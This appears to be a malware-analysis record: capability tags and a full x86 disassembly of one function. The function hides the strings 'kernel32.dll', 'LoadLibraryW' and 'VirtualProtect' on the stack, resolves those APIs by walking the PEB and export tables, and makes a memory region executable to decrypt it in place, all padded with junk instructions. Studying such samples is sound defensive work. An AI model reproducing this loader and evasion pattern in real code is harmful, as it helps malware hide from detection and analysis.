Function at 0x43c18a
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edi
cmp dword [ebp - 0x22c], 0
je 0x43be5c
cmp dword [ebp - 0x610], 0
jne 0x43bea2
push ebx
or ebx, 0x7d16
or ebx, 0xf8e0
and ebx, 0xc510
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x16bc0
add ebx, 0x1481c
and ebx, 0x6132
or ebx, 0x7e4a
pop ebx
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x1074], edx
push 0
call dword [ebp - 0x1074]
mov dword [ebp - 0x10bc], 0xa
push eax
push ecx
add esp, 4
and eax, 0xa8dd
jmp 0x43bebd
jmp 0x43bec4
pop eax
push eax
push ecx
add esp, 4
call 0x43beda
add byte [ecx + 0x4f], al
inc ebp
cmp byte [edx + 0x35], al
inc esp
cmp byte [edx + 0x34], al
add esp, 4
pop eax
mov eax, dword [ebp - 0x22c]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x211], cl
mov edx, dword [ebp - 0x610]
sub edx, dword [ebp - 0x22c]
mov dword [ebp - 0xbfc], edx
mov dword [ebp - 0x6fc], 0
push edi
push esi
add esp, 4
and edi, 0x4dd0
add edi, 0x8d8c
and edi, 0xbbc6
sub edi, 0x101fc
pop edi
push edx
or edx, 0x10a82
add edx, 0x18004
and edx, 0x10075
pop edx
mov byte [ebp - 0x594], 0x56
mov byte [ebp - 0x593], 0x69
mov byte [ebp - 0x592], 0x72
mov byte [ebp - 0x591], 0x74
mov byte [ebp - 0x590], 0x75
mov byte [ebp - 0x58f], 0x61
mov byte [ebp - 0x58e], 0x6c
mov byte [ebp - 0x58d], 0x50
mov byte [ebp - 0x58c], 0x72
mov byte [ebp - 0x58b], 0x6f
mov byte [ebp - 0x58a], 0x74
mov byte [ebp - 0x589], 0x65
mov byte [ebp - 0x588], 0x63
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1078], eax
mov ecx, dword [ebp - 0x1078]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x107c], edx
mov eax, dword [ebp - 0x107c]
mov dword [ebp - 0xb80], eax
push ecx
and ecx, 0xcc3c
pop ecx
push eax
push ecx
add esp, 4
add eax, 0xc06c
pop eax
push esi
push edx
add esp, 4
and esi, 0x1088d
call 0x43bff9
add byte [ecx], bh
xor ecx, dword [edx + 0x46]
dec eax
cmp al, 0x50
push eax
inc edi
add esp, 4
pop esi
cmp dword [ebp - 0xb80], 0
jne 0x43c015
mov dword [ebp - 0x18c], 0
jmp 0x43c2bc
mov ecx, dword [ebp - 0xb80]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x6d8], eax
push edx
push edx
add esp, 4
call 0x43c03b
add byte [esi], bh
cmp esi, dword [ebx]
dec ebx
inc esp
cmp al, 0x39
inc esi
aaa
add esp, 4
xor edx, 0x1e4c
pop edx
push esi
or esi, 0x9730
pop esi
push ecx
push eax
add esp, 4
xor ecx, 0x576c
pop ecx
cmp dword [ebp - 0x6d8], 0
jne 0x43c071
mov dword [ebp - 0x18c], 0
jmp 0x43c2bc
mov ecx, dword [ebp - 0x6d8]
mov dword [ebp - 0x234], ecx
push esi
sub esi, 0x125b0
xor esi, 0x1941
pop esi
push ecx
push eax
add esp, 4
call 0x43c09c
add byte [esi], bh
xor al, 0x48
xor esi, dword [edx]
xor eax, dword [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
xor al, 0x4d
dec ebp
dec edi
inc eax
dec esi
add esp, 4
pop ecx
lea edx, [ebp - 0xc44]
mov dword [ebp - 0x6d4], edx
mov eax, dword [ebp - 0x234]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x6d0], ecx
xor edx, edx
mov word [ebp - 0x118], dx
xor eax, eax
mov word [ebp - 0x24], ax
push ebx
sub ebx, 0xb9e5
or ebx, 0x104a9
add ebx, 0x35d9
pop ebx
push ebx
push eax
add esp, 4
or ebx, 0x1652b
or ebx, 0xb0c7
or ebx, 0x8461
or ebx, 0xb1af
pop ebx
mov ecx, dword [ebp - 0x6d0]
mov dx, word [ecx]
mov word [ebp - 0x88a], dx
mov eax, dword [ebp - 0x6d0]
add eax, 2
mov dword [ebp - 0x6d0], eax
mov cx, word [ebp - 0x88a]
mov word [ebp - 0x118], cx
mov edx, dword [ebp - 0x6d4]
mov ax, word [edx]
mov word [ebp - 0x88c], ax
mov ecx, dword [ebp - 0x6d4]
add ecx, 2
mov dword [ebp - 0x6d4], ecx
mov dx, word [ebp - 0x88c]
mov word [ebp - 0x24], dx
push esi
and esi, 0xfa01
or esi, 0x482c
sub esi, 0x14537
pop esi
push ecx
xor ecx, 0x12ea
call 0x43c18a
add byte [edi + ecx*2 + 0x4d], al
aas
cmp eax, dword [ebp + 0x3e]
add esp, 4
add ecx, 0x80cd
pop ecx
movzx eax, word [ebp - 0x24]
test eax, eax
jne 0x43c1b1
movzx ecx, word [ebp - 0x118]
movzx edx, word [ebp - 0x24]
sub ecx, edx
mov dword [ebp - 0xb88], ecx
jmp 0x43c20b
movzx eax, word [ebp - 0x118]
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
je 0x43c0d9
movzx edx, word [ebp - 0x118]
xor edx, 0x20
movzx eax, word [ebp - 0x24]
cmp edx, eax
je 0x43c0d9
movzx ecx, word [ebp - 0x118]
movzx edx, word [ebp - 0x24]
cmp ecx, edx
jge 0x43c1f5
mov dword [ebp - 0xb84], 0xffffffff
jmp 0x43c1ff
mov dword [ebp - 0xb84], 1
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0
jne 0x43c254
push eax
push eax
add esp, 4
or eax, 0xc174
pop eax
push ebx
push eax
add esp, 4
or ebx, 0x130a1
and ebx, 0x122fa
pop ebx
push ebx
and ebx, 0xba36
xor ebx, 0x15739
add ebx, 0x1719f
pop ebx
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x18c], ecx
jmp 0x43c2bc
push edx
and edx, 0x12bec
or edx, 0x2ef5
sub edx, 0x5bc5
jmp 0x43c26c
pop edx
push edx
jmp 0x43c273
add edx, 0x17456
and edx, 0x1684e
sub edx, 0x897e
pop edx
mov edx, dword [ebp - 0x234]
mov eax, dword [edx]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0x234]
cmp ecx, dword [ebp - 0x6d8]
je 0x43c2b2
mov edx, dword [ebp - 0x234]
cmp dword [edx + 0x30], 0
jne 0x43c07d
mov dword [ebp - 0x18c], 0
push ecx
sub ecx, 0xa291
jmp 0x43c2cb
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x1426d
and ecx, 0x10f3d
call 0x43c2ea
add byte [eax + 0x4f], al
inc esp
aas
xor eax, 0xc4834433
add al, 0x59
cmp dword [ebp - 0x18c], 0
jne 0x43cb8f
mov eax, 0x6b
mov word [ebp - 0xcb0], ax
mov ecx, 0x65
mov word [ebp - 0xcae], cx
mov edx, 0x72
mov word [ebp - 0xcac], dx
mov eax, 0x6e
mov word [ebp - 0xcaa], ax
mov ecx, 0x65
mov word [ebp - 0xca8], cx
mov edx, 0x6c
mov word [ebp - 0xca6], dx
mov eax, 0x33
mov word [ebp - 0xca4], ax
mov ecx, 0x32
mov word [ebp - 0xca2], cx
mov edx, 0x2e
mov word [ebp - 0xca0], dx
mov eax, 0x64
mov word [ebp - 0xc9e], ax
mov ecx, 0x6c
mov word [ebp - 0xc9c], cx
mov edx, 0x6c
mov word [ebp - 0xc9a], dx
xor eax, eax
mov word [ebp - 0xc98], ax
push ecx
push esi
add esp, 4
add ecx, 0x2923
or ecx, 0xcbc9
sub ecx, 0x10e52
pop ecx
push eax
push ebx
add esp, 4
add eax, 0xe3a8
sub eax, 0x75a3
pop eax
push esi
or esi, 0x10065
pop esi
mov byte [ebp - 0x4cc], 0x4c
mov byte [ebp - 0x4cb], 0x6f
mov byte [ebp - 0x4ca], 0x61
mov byte [ebp - 0x4c9], 0x64
mov byte [ebp - 0x4c8], 0x4c
mov byte [ebp - 0x4c7], 0x69
mov byte [ebp - 0x4c6], 0x62
mov byte [ebp - 0x4c5], 0x72
mov byte [ebp - 0x4c4], 0x61
mov byte [ebp - 0x4c3], 0x72
mov byte [ebp - 0x4c2], 0x79
mov byte [ebp - 0x4c1], 0x57
mov byte [ebp - 0x4c0], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1080], ecx
mov edx, dword [ebp - 0x1080]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1084], eax
mov ecx, dword [ebp - 0x1084]
mov dword [ebp - 0xb8c], ecx
push edx
xor edx, 0x12b18
call 0x43c45f
add byte [esi], bh
cmp dword [esi], esi
inc ebp
inc edx
inc edx
cmp al, 0x46
inc edx
add esp, 4
and edx, 0xa00
and edx, 0xa8b5
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x937d
pop ecx
cmp dword [ebp - 0xb8c], 0
jne 0x43c493
mov dword [ebp - 0x3e8], 0
jmp 0x43c73a
mov edx, dword [ebp - 0xb8c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6e4], ecx
push esi
push ebx
add esp, 4
or esi, 0x5c8e
pop esi
push ebx
call 0x43c4bf
add byte [edx + 0x32], cl
inc eax
push eax
aaa
inc esp
add esp, 4
add ebx, 0x2536
add ebx, 0xc1b2
pop ebx
push eax
add eax, 0x14b17
pop eax
cmp dword [ebp - 0x6e4], 0
jne 0x43c4ef
mov dword [ebp - 0x3e8], 0
jmp 0x43c73a
mov edx, dword [ebp - 0x6e4]
mov dword [ebp - 0x2e0], edx
push ebx
push edx
add esp, 4
and ebx, 0xdaf5
add ebx, 0xe6d9
call 0x43c51c
add byte [edx], bh
cmp al, byte [ebx + 0x46]
dec edi
inc esp
dec edi
dec ecx
push eax
aaa
add esp, 4
pop ebx
push ebx
jmp 0x43c526
or ebx, 0x145f8
pop ebx
lea eax, [ebp - 0xcb0]
mov dword [ebp - 0x6e0], eax
mov ecx, dword [ebp - 0x2e0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6dc], edx
xor eax, eax
mov word [ebp - 0x11c], ax
xor ecx, ecx
mov word [ebp - 0x28], cx
push eax
push ebx
add esp, 4
add eax, 0x2878
or eax, 0x742
add eax, 0x17e75
sub eax, 0x17d13
pop eax
push ebx
sub ebx, 0x147a9
or ebx, 0x1743e
sub ebx, 0x125db
pop ebx
mov edx, dword [ebp - 0x6dc]
mov ax, word [edx]
mov word [ebp - 0x88e], ax
mov ecx, dword [ebp - 0x6dc]
add ecx, 2
mov dword [ebp - 0x6dc], ecx
mov dx, word [ebp - 0x88e]
mov word [ebp - 0x11c], dx
mov eax, dword [ebp - 0x6e0]
mov cx, word [eax]
mov word [ebp - 0x890], cx
mov edx, dword [ebp - 0x6e0]
add edx, 2
mov dword [ebp - 0x6e0], edx
mov ax, word [ebp - 0x890]
mov word [ebp - 0x28], ax
push esi
push edi
add esp, 4
add esi, 0x11779
or esi, 0xd65
pop esi
push edx
or edx, 0x17c5e
pop edx
push esi
push esi
add esp, 4
or esi, 0x154d8
or esi, 0x15534
xor esi, 0xac45
pop esi
movzx ecx, word [ebp - 0x28]
test ecx, ecx
jne 0x43c62f
movzx edx, word [ebp - 0x11c]
movzx eax, word [ebp - 0x28]
sub edx, eax
mov dword [ebp - 0xb94], edx
jmp 0x43c689
movzx ecx, word [ebp - 0x11c]
movzx edx, word [ebp - 0x28]
cmp ecx, edx
je 0x43c557
movzx eax, word [ebp - 0x11c]
xor eax, 0x20
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
je 0x43c557
movzx edx, word [ebp - 0x11c]
movzx eax, word [ebp - 0x28]
cmp edx, eax
jge 0x43c673
mov dword [ebp - 0xb90], 0xffffffff
jmp 0x43c67d
mov dword [ebp - 0xb90], 1
mov ecx, dword [ebp - 0xb90]
mov dword [ebp - 0xb94], ecx
cmp dword [ebp - 0xb94], 0
jne 0x43c6d2
push eax
and eax, 0x6f17
pop eax
push ebx
push edi
add esp, 4
call 0x43c6ae
add byte [edx], dh
inc esp
dec ebx
cmp eax, dword [ebp + 0x43]
xor edi, dword [edi]
dec esi
add esp, 4
xor ebx, 0xbf38
add ebx, 0x91b0
or ebx, 0x83dc
pop ebx
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x3e8], edx
jmp 0x43c73a
push esi
sub esi, 0xc15a
and esi, 0x751d
xor esi, 0x16bfc
pop esi
push ecx
push esi
add esp, 4
xor ecx, 0x92c8
and ecx, 0x569e
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x1984
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax]
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x2e0]
cmp edx, dword [ebp - 0x6e4]
je 0x43c730
mov eax, dword [ebp - 0x2e0]
cmp dword [eax + 0x30], 0
jne 0x43c4fb
mov dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3e8], 0
jne 0x43c784
push edx
sub edx, 0x10520
pop edx
push ebx
push ecx
add esp, 4
sub ebx, 0x17d51
and ebx, 0x172ed
and ebx, 0xf122
xor ebx, 0xc07d
pop ebx
push edx
push ebx
add esp, 4
jmp 0x43c774
pop edx
mov dword [ebp - 0x614], 0
jmp 0x43d248
push ecx
add ecx, 0x27fb
pop ecx
push edx
push edi
add esp, 4
add edx, 0x3337
jmp 0x43c79c
jmp 0x43c7a5
and edx, 0x8ad5
pop edx
push edx
jmp 0x43c7b5
pop edx
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0
jne 0x43c7f5
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x228], ecx
jmp 0x43cae6
mov edx, dword [ebp - 0xbd8]
mov eax, dword [ebp - 0x1bc]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xbdc], eax
jne 0x43c81d
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x228], ecx
jmp 0x43cae6
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xbdc]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xbe0], edx
cmp dword [ebp - 0xbe0], 0
jne 0x43c84f
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x228], eax
jmp 0x43cae6
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [ebp - 0xbe0]
mov dword [ebp - 0x3ec], ecx
jne 0x43c874
mov edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x228], edx
jmp 0x43cae6
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1088], ecx
mov edx, dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x1bc]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x108c], eax
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x1bc]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1030], edx
mov dword [ebp - 0x3f0], 0
jmp 0x43c8ce
mov eax, dword [ebp - 0x3f0]
add eax, 1
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x3f0]
cmp edx, dword [ecx + 0x18]
jae 0x43cada
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x1088]
mov edx, dword [ebp - 0x1bc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x3f4], edx
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x108c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1030]
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1034], ecx
mov dword [ebp - 0xc8], 0
jmp 0x43c93e
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x3f4]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43c9f0
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x4cc]
test eax, eax
je 0x43c9f0
push ecx
sub ecx, 0x112f6
jmp 0x43c979
pop ecx
push edi
sub edi, 0xc123
pop edi
push ecx
push esi
add esp, 4
add ecx, 0xf05f
add ecx, 0x9c3a
jmp 0x43c99c
pop ecx
mov ecx, dword [ebp - 0x3f4]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x4cc]
cmp edx, ecx
je 0x43c9e2
mov edx, dword [ebp - 0x3f4]
add edx, dword [ebp - 0xc8]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0xc8]
movsx edx, byte [ebp + ecx - 0x4cc]
cmp eax, edx
jne 0x43c9e9
jmp 0x43c92f
jmp 0x43c9f0
push eax
push eax
add esp, 4
xor eax, 0xf3b8
sub eax, 0x3564
add eax, 0xa961
and eax, 0x14212
pop eax
push esi
call 0x43ca1e
add byte [edi + 0x4b], cl
dec eax
xor eax, 0x463d323b
xor al, 0x83
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x3f4]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x4cc]
cmp ecx, eax
jne 0x43ca4f
mov dword [ebp - 0x6e8], 0
jmp 0x43cabe
push ebx
add ebx, 0x14515
add ebx, 0xc8b3
add ebx, 0xaec8
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x9ab2
and ebx, 0xe7d7
sub ebx, 0x925
or ebx, 0xb9b1
pop ebx
mov ecx, dword [ebp - 0x3f4]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x4cc]
or ecx, 0x20
cmp edx, ecx
jge 0x43cab4
mov dword [ebp - 0x6e8], 0xffffffff
jmp 0x43cabe
mov dword [ebp - 0x6e8], 1
cmp dword [ebp - 0x6e8], 0
jne 0x43cad5
mov edx, dword [ebp - 0x1034]
mov dword [ebp - 0x228], edx
jmp 0x43cae6
jmp 0x43c8bf
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x43cb8f
push ecx
and ecx, 0x13fbb
or ecx, 0x15ba8
xor ecx, 0x10450
or ecx, 0x8c73
pop ecx
push edi
push eax
add esp, 4
and edi, 0x48bd
xor edi, 0x3f58
and edi, 0x10700
pop edi
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x1038], ecx
mov edx, dword [ebp - 0x1038]
mov dword [ebp - 0x1090], edx
lea eax, [ebp - 0xc44]
push eax
call dword [ebp - 0x1090]
test eax, eax
jne 0x43cb8f
push edx
or edx, 0x9369
add edx, 0x11e5e
jmp 0x43cb61
xor edx, 0xbd9d
pop edx
push eax
push eax
add esp, 4
sub eax, 0x3473
pop eax
push esi
push esi
add esp, 4
add esi, 0x12eea
pop esi
mov dword [ebp - 0x614], 0
jmp 0x43d248
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1094], ecx
mov edx, dword [ebp - 0x1094]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1098], eax
mov ecx, dword [ebp - 0x1098]
mov dword [ebp - 0xbe4], ecx
push edi
call 0x43cbc4
add byte [eax + ecx*2], bh
cmp dh, byte [esi]
cmp dword [ecx - 0x7d], ecx
les eax, [ecx + eax*4]
out 0x81, eax
push es
add byte [eax], al
jmp 0x43cbd6
call 0x43cbe5
add byte [esi + 0x42], cl
dec ebp
dec esp
inc ebp
xor al, byte [edi + 0x3a]
cmp al, byte [ebx - 0x7ca0fb3c]
mov ebp, 0xfffff41c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x18c], 0
jmp 0x43cea8
push esi
sub esi, 0xf6e4
pop esi
push esi
or esi, 0x7703
and esi, 0x11c1
or esi, 0x4e8d
sub esi, 0xe4ef
pop esi
push esi
sub esi, 0x5480
pop esi
push eax
or eax, 0xa703
pop eax
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1b0], edx
push ecx
jmp 0x43cef2
pop ecx
push ecx
and ecx, 0x4fbd
pop ecx
push esi
push edx
add esp, 4
add esi, 0xe845
pop esi
push edx
xor edx, 0xdff8
pop edx
push edx
push eax
add esp, 4
add edx, 0x6096
pop edx
mov dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0xbf0], eax
cmp dword [ebp - 0xbf0], 0
jne 0x43cf4b
mov ecx, dword [ebp - 0x408]
mov dword [ebp - 0x2d8], ecx
jmp 0x43d23c
mov edx, dword [ebp - 0xbf0]
mov eax, dword [ebp - 0x1b0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xbf4], eax
jne 0x43cf73
mov ecx, dword [ebp - 0x408]
mov dword [ebp - 0x2d8], ecx
jmp 0x43d23c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xbf4]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xbf8], edx
cmp dword [ebp - 0xbf8], 0
jne 0x43cfa5
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x2d8], eax
jmp 0x43d23c
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [ebp - 0xbf8]
mov dword [ebp - 0x3fc], ecx
jne 0x43cfca
mov edx, dword [ebp - 0x408]
mov dword [ebp - 0x2d8], edx
jmp 0x43d23c
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x109c], ecx
mov edx, dword [ebp - 0x3fc]
mov eax, dword [ebp - 0x1b0]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x10a0], eax
mov ecx, dword [ebp - 0x3fc]
mov edx, dword [ebp - 0x1b0]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x10a4], edx
mov dword [ebp - 0x400], 0
jmp 0x43d024
mov eax, dword [ebp - 0x400]
add eax, 1
mov dword [ebp - 0x400], eax
mov ecx, dword [ebp - 0x3fc]
mov edx, dword [ebp - 0x400]
cmp edx, dword [ecx + 0x18]
jae 0x43d230
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x109c]
mov edx, dword [ebp - 0x1b0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x404], edx
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x10a0]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x10a4]
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x10a8], ecx
mov dword [ebp - 0xc4], 0
jmp 0x43d094
mov edx, dword [ebp - 0xc4]
add edx, 1
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x404]
add eax, dword [ebp - 0xc4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43d146
mov edx, dword [ebp - 0xc4]
movsx eax, byte [ebp + edx - 0x594]
test eax, eax
je 0x43d146
push edx
add edx, 0x16d62
xor edx, 0x9dd9
pop edx
push esi
push edx
add esp, 4
call 0x43d0e1
add byte [0x3c4f3c44], dh
cmp eax, 0x4c4834d
pop esi
push edx
xor edx, 0xa6a
or edx, 0x272
pop edx
mov ecx, dword [ebp - 0x404]
add ecx, dword [ebp - 0xc4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc4]
movsx ecx, byte [ebp + eax - 0x594]
cmp edx, ecx
je 0x43d138
mov edx, dword [ebp - 0x404]
add edx, dword [ebp - 0xc4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0xc4]
movsx edx, byte [ebp + ecx - 0x594]
cmp eax, edx
jne 0x43d13f
jmp 0x43d085
jmp 0x43d146
push ecx
push ecx
add esp, 4
sub ecx, 0x480c
pop ecx
push edi
or edi, 0x32f7
xor edi, 0x15b03
sub edi, 0xf587
pop edi
push eax
push edx
add esp, 4
and eax, 0x7d77
xor eax, 0x6723
pop eax
mov eax, dword [ebp - 0x404]
add eax, dword [ebp - 0xc4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xc4]
movsx eax, byte [ebp + edx - 0x594]
cmp ecx, eax
jne 0x43d1a5
mov dword [ebp - 0x6f8], 0
jmp 0x43d214
push ecx
sub ecx, 0x16ec8
and ecx, 0x15c28
call 0x43d1c1
add byte [0x38394d4f], bh
aaa
inc eax
cmp edi, dword [edi]
add esp, 4
sub ecx, 0x607e
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0xbdea
pop ecx
mov ecx, dword [ebp - 0x404]
add ecx, dword [ebp - 0xc4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0xc4]
movsx ecx, byte [ebp + eax - 0x594]
or ecx, 0x20
cmp edx, ecx
jge 0x43d20a
mov dword [ebp - 0x6f8], 0xffffffff
jmp 0x43d214
mov dword [ebp - 0x6f8], 1
cmp dword [ebp - 0x6f8], 0
jne 0x43d22b
mov edx, dword [ebp - 0x10a8]
mov dword [ebp - 0x2d8], edx
jmp 0x43d23c
jmp 0x43d015
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0x2d8]
mov dword [ebp - 0x614], ecx
push eax
push edx
add esp, 4
jmp 0x43d254
call 0x43d264
add byte [edi + edi], bh
aas
inc eax
dec edx
inc edx
inc ecx
inc ebp
cmp esi, dword [0x5804c483]
push edx
push edx
add esp, 4
and edx, 0xc8ef
add edx, 0x17960
pop edx
mov edx, dword [ebp - 0x614]
mov dword [ebp - 0xf40], edx
lea eax, [ebp - 0x6fc]
push eax
push 0x40
mov ecx, dword [ebp - 0xbfc]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call dword [ebp - 0xf40]
test eax, eax
jne 0x43d2ed
push eax
add eax, 0x59ee
sub eax, 0xf7e9
add eax, 0x12653
sub eax, 0xd757
pop eax
push esi
push eax
add esp, 4
call 0x43d2d5
add byte [edx], dh
dec esi
xor ecx, dword [edi + 0x4d]
xor esi, dword [edi]
cmp dword [edx - 0x7d], eax
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x10ac], eax
push 0
call dword [ebp - 0x10ac]
mov ecx, dword [ebp - 0x10b0]
mov dword [ebp - 0x40c], ecx
jmp 0x43d30a
mov edx, dword [ebp - 0x40c]
add edx, 1
mov dword [ebp - 0x40c], edx
mov eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0x610]
jae 0x43d366
push edi
jmp 0x43d322
xor edi, 0x10c6f
sub edi, 0x12bf2
pop edi
push eax
push ecx
add esp, 4
and eax, 0x3716
xor eax, 0xb6c1
jmp 0x43d349
pop eax
movzx ecx, byte [ebp - 0x211]
mov edx, dword [ebp - 0x40c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x40c]
mov byte [ecx], al
jmp 0x43d2fb
mov edx, dword [ebp - 0x614]
mov dword [ebp - 0x10b4], edx
lea eax, [ebp - 0x6fc]
push eax
mov ecx, dword [ebp - 0x6fc]
push ecx
mov edx, dword [ebp - 0xbfc]
push edx
mov eax, dword [ebp - 0x22c]
push eax
call dword [ebp - 0x10b4]
test eax, eax
jne 0x43d3de
push esi
push edi
add esp, 4
jmp 0x43d3a4
call 0x43d3b2
add byte [0x45474f50], bh
dec eax
aaa
dec edi
add esp, 4
xor esi, 0x66a2
pop esi
push ecx
or ecx, 0x14b72
or ecx, 0x16b15
pop ecx
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0xd78], ecx
push 0
call dword [ebp - 0xd78]
push ebx
jmp 0x43d3e4
and ebx, 0x3283
sub ebx, 0x52be
pop ebx
push ebx
call 0x43d3fe
add byte [ebp + 0x50], al
cmp dh, byte [edx]
cmp ecx, dword [edx - 0x7d]
les eax, [ecx + eax*4]
ret